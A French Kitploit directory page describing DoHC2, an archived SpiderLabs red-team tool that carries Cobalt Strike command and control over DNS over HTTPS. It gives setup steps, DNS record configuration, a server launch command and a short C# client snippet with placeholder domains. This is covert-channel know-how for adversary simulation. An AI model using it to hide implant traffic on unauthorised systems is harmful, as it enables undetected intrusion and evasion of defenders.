Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
DoHC2 — DoHC2 allows the ExternalC2 library from Ryan Hanson (https://github.com/ryhanson/ExternalC2) to be leveraged for command and control (C2) via DNS over HTTPS (DoH). | Kitploit
Outils/GitHubGitHub/spiderlabs/dohc2
Penetration Testing FrameworksExploit FrameworksCommand and ControlRed TeamingPayload DevelopmentDNS AnalysisArchived
GitHubspiderlabs/dohc2

DoHC2

DoHC2 allows the ExternalC2 library from Ryan Hanson (https://github.com/ryhanson/ExternalC2) to be leveraged for command and control (C2) via DNS over HTTPS (DoH).

Voir le dépôt
44993il y a 6 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

⚠️ NOTE : Cet outil n'est plus activement maintenu.

DoHC2

DoHC2 permet d'exploiter la bibliothèque ExternalC2 de Ryan Hanson (https://github.com/ryhanson/ExternalC2) pour le commandement et contrôle (C2) via DNS over HTTPS (DoH). Cet outil est conçu pour le logiciel populaire de simulation d'adversaires et d'opérations d'équipe rouge Cobalt Strike (https://www.cobaltstrike.com).

Présentation

Ce projet a été publié le 23 octobre 2018 lors de Mitre ATT&CKcon.

Diapositives : Jouer l'avocat du diable face aux initiatives de sécurité avec ATT&CK

Article de blog : DOH! DNS Over HTTPS présente des risques potentiels pour les entreprises

Diagramme

Capture d'écran

Utilisation

  1. Installez et lancez le teamserver Cobaltstrike.
  2. Lancez un listener beacon_http/beacon_https - Attention Cela peut être bloqué par un pare-feu mais vous en avez besoin pour qu'External C2 fonctionne.
  3. Chargez le script 'external_c2.cna' pour démarrer ExternalC2 sur le port 2222 (pare-feu désactivé).
  4. Installez les dépendances pour le serveur python3.
  5. Autorisez le port 53/udp vers Internet (ou vers les plages IP du fournisseur DoH).
  6. Créez un enregistrement A sur votre domaine pointant vers l'adresse IP du teamserver/serveur DNS, par exemple [A] entry.example.org -> 000.000.000.000
  7. Créez un enregistrement NS pointant vers l'enregistrement A pour le canal d'envoi (INPUTDOMAIN), par exemple [NS] send.example.org -> entry.example.org.
  8. Créez un enregistrement NS pointant vers l'enregistrement A pour le canal de réception (OUTPUTDOMAIN), par exemple [NS] receive.example.org -> entry.example.org.
  9. Modifiez INPUTDOMAIN et OUTPUTDOMAIN dans DoHC2.py. Changez la clé/IV de chiffrement - cela est utilisé pour chiffrer le chemin du Teamserver vers le Client uniquement (chiffre le Stager). Modifiez max_records de 1 en fonction du fournisseur DoH, certains fournisseurs réordonnent les enregistrements retournés, ce qui n'est pas géré actuellement. Max 5 fonctionne bien avec le serveur DNS.
  10. Lancez le serveur DNS python3.
  11. Compilez la bibliothèque ExternalC2. Changez la clé/IV de chiffrement dans DoHChannel.cs pour correspondre au serveur python3.
  12. Configurez et lancez DoHC2() comme ci-dessous en veillant à définir INPUTDOMAIN, OUTPUTDOMAIN et un fournisseur DoH au format 'https://resolver.example.org/dns-query'.

Serveur

Serveur DNS Python basé sur ACME DNS Server

  • Il interface le DNS brut avec le Teamserver Cobalt Strike sur 127.0.0.1:2222 par défaut.
  • Modifiez INPUTDOMAIN et OUTPUTDOMAIN pour qu'ils soient des hôtes qui sont NS de l'IP externe du serveur :
root@kitploit:~
	pip3 install -r requirements.txt
	sudo python3 ./DoHC2.py

Bibliothèque

ExternalC2 de @ryhanson avec les ajouts suivants :

  • Channels> DoHChannel.cs - implémentation DoH
  • Channels > Base32.cs (depuis https://gist.github.com/BravoTango86/2a085185c3b9bd8383a1f956600e515f)
  • DoHC2.cs - configuration / wrapper du canal DoH
  • Newtonsoft.JSON (https://www.newtonsoft.com/json) est ajouté au projet

Exemple de client

  • Comme le reste d'ExternalC2, DoHC2 est COMVisible pour JScript/DotNetToJS mais ceci est un exemple simple pour l'initier.
  • Le client exemple DoHC2Runner est un simple programme C# pour démontrer le chargement de la bibliothèque et sa configuration comme suit :
root@kitploit:~
	DoHC2 doh = new DoHC2();
	doh.Configure("<INPUTDOMAIN>","<OUTPUTDOMAIN>","<DoH URI i.e. https://dns.google.com/resolve or https://dns.example.org/dns-query");
	doh.Go();

Auteurs

  • David Middlehurst - Twitter - @dtmsecurity

Licence

DoHC2

Certains éléments créés par David Middlehurst, SpiderLabs comme décrit ci-dessus (Veuillez vous référer aux licences respectives lorsque d'autres projets open-source sont utilisés).

Copyright (C) 2018 Trustwave Holdings, Inc.

Ce programme est un logiciel libre : vous pouvez le redistribuer et/ou le modifier selon les termes de la GNU General Public License telle que publiée par la Free Software Foundation, soit la version 3 de la Licence, soit (à votre discrétion) toute version ultérieure.

Ce programme est distribué dans l'espoir qu'il sera utile, mais SANS AUCUNE GARANTIE ; sans même la garantie implicite de COMMERCIALISATION ou D'ADAPTATION À UN USAGE PARTICULIER. Voir la GNU General Public License pour plus de détails.

Remerciements

  • ExternalC2
  • ExternalC2 Spec
  • ACME DNS Server - (Serveur Python)
  • Python Shared File C2 - (Serveur Python)
  • Python External_C2_Framework - (Serveur Python)
  • DNSExfiltrator - Serveur Python

Contributeurs

  • xinhaojing - Problème serveur #1
Télécharger l’outil